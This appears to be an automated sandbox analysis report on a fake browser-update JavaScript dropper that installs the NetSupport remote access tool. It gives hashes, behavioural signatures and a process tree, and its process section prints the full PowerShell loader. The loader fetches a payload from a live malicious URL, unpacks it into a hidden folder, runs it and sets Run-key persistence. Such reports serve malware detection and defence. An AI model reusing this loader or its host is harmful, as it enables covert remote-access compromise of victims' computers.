Analysis
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max time kernel
1166s -
max time network
1192s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
29-01-2024 17:44
Static task
static1
Behavioral task
behavioral1
Sample
Update_browser_17.6436.js
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
Update_browser_17.6436.js
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
Update_browser_17.6436.js
Resource
win11-20231222-en
General
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Target
Update_browser_17.6436.js
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Size
434KB
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MD5
3e2fdaa39431f19d92dc3e4de776593d
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SHA1
3255b30e085afa114e2a5b0cf9419d1487059ca8
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SHA256
41632e707f7129a25d16c9137bdf4ce4f819a542ed33d8c444f9bd5693ecb975
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SHA512
766ebbd8a92d605e04d9ab02ac6c9299bfdbc8eae73c5346510b79e600966d85b3f70a0c8fcbdc52583353e8c4a982c74450a55e9d0992deaa1f2d19cea8baf3
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SSDEEP
6144:g+IrEhFgMczj0aw0810VLuqjHFPm4HQQuZ2Ozr:gqkdj8gY4HQJ2O3
Malware Config
Extracted
https://ghostcitygames.com/data.php?10037
https://ghostcitygames.com/data.php?10037
Signatures
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NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
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Blocklisted process makes network request 2 IoCs
Processes:
wscript.exepowershell.exeflow pid process 4 4916 wscript.exe 11 1028 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
Processes:
client32.exepid process 4948 client32.exe -
Loads dropped DLL 6 IoCs
Processes:
client32.exepid process 4948 client32.exe 4948 client32.exe 4948 client32.exe 4948 client32.exe 4948 client32.exe 4948 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX735\\client32.exe" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1028 powershell.exe 1028 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.execlient32.exedescription pid process Token: SeDebugPrivilege 1028 powershell.exe Token: SeSecurityPrivilege 4948 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
client32.exepid process 4948 client32.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
wscript.exepowershell.exedescription pid process target process PID 4916 wrote to memory of 1028 4916 wscript.exe powershell.exe PID 4916 wrote to memory of 1028 4916 wscript.exe powershell.exe PID 1028 wrote to memory of 4948 1028 powershell.exe client32.exe PID 1028 wrote to memory of 4948 1028 powershell.exe client32.exe PID 1028 wrote to memory of 4948 1028 powershell.exe client32.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4916 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $YcRUaMFmlNClPSqrBMHdbwxMrOErlyRD='https://ghostcitygames.com/data.php?10037';$BuATdCvSzZ=(New-Object System.Net.WebClient).DownloadString($YcRUaMFmlNClPSqrBMHdbwxMrOErlyRD);$nHkEqkTJwNaPgGOsWZuUSkyXGs=[System.Convert]::FromBase64String($BuATdCvSzZ);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqRKxBuNYN=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqRKxBuNYN -PathType Container)) { New-Item -Path $KqRKxBuNYN -ItemType Directory };$p=Join-Path $KqRKxBuNYN 'lol.zip';[System.IO.File]::WriteAllBytes($p,$nHkEqkTJwNaPgGOsWZuUSkyXGs);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqRKxBuNYN)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqRKxBuNYN 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqRKxBuNYN -Force; $FSDFSSD.attributes='Hidden';$s=$KqRKxBuNYN+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1028 -
C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4948
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
127KB
MD50270d0ec7bf77479f9826b89249f2bdb
SHA1e23c00370168f9c2a5436f12b6d89929f68b296d
SHA25632f47f8e13761d6bf754b3f71930bb501bb960f9f978effed9f5f57734083e1d
SHA512ff02f3878206a7acb95464faf460e519d5c1d4355d8a2b1c564fdb9580f7341b9e39d4ae93d4625f78fe4c0610920c77d735f98e1e9fd76f3cf66d887ccb635c
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Filesize
106KB
MD5cfc887dd00b255f86a2f29764a33a8a5
SHA1898daadf3e5bbe53556b8001a6a8683833148813
SHA25634b55ccbbdc5a100879f14e3b206fb7e0f13367c68b683fe16b866d3135ed2d6
SHA5123aedd1b70ea1f798fbb5855d2377901bf2c19d89affc21a3fd6826b6628f0d7b78e919270f5cbc298667837216f1971efed62181110b393382dfc809e024ef49
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Filesize
244KB
MD5ee1672e9428831a29dca52beae139637
SHA11bbffe394ab0ef0d63295cf62f987a15c91ee3de
SHA2566a85adf94a118605eb0effff8aa10479484b715576c5e398f7d157f63267349d
SHA5122de4e5416b8a29e41aee4cb091f36065780153ab0dadca3ab65597cbe0657601a5793edad0803fd1ea84b1dbfea7ae2200d0a4b5171598d46b56d1b23addefb7
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Filesize
258B
MD51b41e64c60ca9dfadeb063cd822ab089
SHA1abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4
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Filesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
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Filesize
242KB
MD5285f5b45473af8ae3416d1abe2d821ac
SHA14384aefaa6016a3c73ea4ddd3b985eb86e24b339
SHA256270dbb5709b3683328454f2ceec0a4701e762a68aa72ebad32bd8c457d8b0f1f
SHA5125ff4f7dfb871965e71dd86cc10ea8764a96e9e45d4fb793078899b0a0c14fc6b95e262418347304af390b0344bce07403ac7ba9bbe2be485273cfa4cb63b5f57
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Filesize
188KB
MD507a2966b6e658979e96677513d38528c
SHA150826ea50a65a33fdd6d66f927838419c309103f
SHA256e4d11778441f66539763a940832eacd21b33376b9e4694849f406023b00ca6c3
SHA512d3791cd87aae7cc22cd1d403d4a18a4d209a626c1b235a29c64bbac69e5f5d092b6f580ccb2b26eed10c7ed3e35153e870a0f9b1cf5d6436fd6487708ed51663
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Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
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Filesize
96KB
MD563b944ca35164d5fa61f62bbd567a626
SHA1341f4a97f69bf8357a9572519aed372728e7e540
SHA2568cd1e5c76a8d56d1475013d86ac679d366dfaad49be5d2e09a4b928072d09729
SHA512786c2a49287d95ba79c2f135654dd0f359412154454cea76b6867052a0b994a874110d771888310078550e19477de326207bc6f71c02260efd1b20d4484b5b67
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Filesize
701B
MD598043670d8c850e878e333312fcfa25a
SHA1dc795e8b906d70ee5854a6797e0c1557375bc443
SHA2560e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA51213295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201
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Filesize
136KB
MD5bdca69633cf9de21a43b1088caa3cf78
SHA17fd683f5227ae64a98abe92affb1bcbc05adaa57
SHA2564259aec4f6d6a6651542802febae87b36a531088bde916d492719963e52c2df0
SHA51267b1a92f3880e4bc1050f925f62c0b15e4ef11ab185aae5fc4a50340c4aa36a988c8a0b1058a259d104c74497d8cb1c29299ef782cbe19df4f77e971843bc37b
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Filesize
131KB
MD5d2437e2e4ada7fd263b8fa2c37b0b651
SHA1a4d103c62dc898ff8d505ddbebab16eaddcdf74e
SHA256a6d216f06df979a52b4c301ca55bce9c926f47f0bdfa1382a18a22279ce54885
SHA512c0a14ee673929d2618198a474f36dc54e862d155760e63130592477805d52080a620818d3f37ad6b3f882ca70c7b873156868e7a3fc904865d42098427c12012
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Filesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2